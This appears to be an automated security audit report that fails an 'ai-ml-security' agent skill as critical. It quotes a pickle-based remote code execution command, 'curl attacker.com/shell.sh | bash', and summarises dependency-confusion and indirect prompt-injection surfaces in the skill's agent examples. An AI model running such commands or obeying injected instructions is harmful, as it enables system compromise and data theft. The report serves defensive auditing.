ai-ml-security
Fail
Audited by Gen Agent Trust Hub on Nov 9, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: Section 1.1 provides a Python code example demonstrating how to create a malicious pickle file that executes a shell command:
curl attacker.com/shell.sh | bash. This represents a functional remote code execution pattern used to illustrate model supply chain risks. - [COMMAND_EXECUTION]: The skill uses
os.systemwithin its example code blocks to demonstrate the impact of deserialization vulnerabilities. Additionally, Section 7.1 discusses scenarios where autonomous agents may execute arbitrary shell commands due to prompt injection. - [INDIRECT_PROMPT_INJECTION]: Section 7 identifies vulnerability surfaces for indirect prompt injection within autonomous agent systems. Evidence Chain: 1. Ingestion points: External content such as email bodies and customer requests in SKILL.md. 2. Boundary markers: Absent from the provided patterns. 3. Capability inventory: Includes powerful tools such as
file_write,web_search, and database queries. 4. Sanitization: No sanitization or escaping mechanisms are described for the untrusted inputs. - [EXTERNAL_DOWNLOADS]: Section 1.3 documents dependency confusion attacks where an attacker registers a private package name on a public registry to trigger malicious code execution during
pip installoperations.
Recommendations
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
Audit Metadata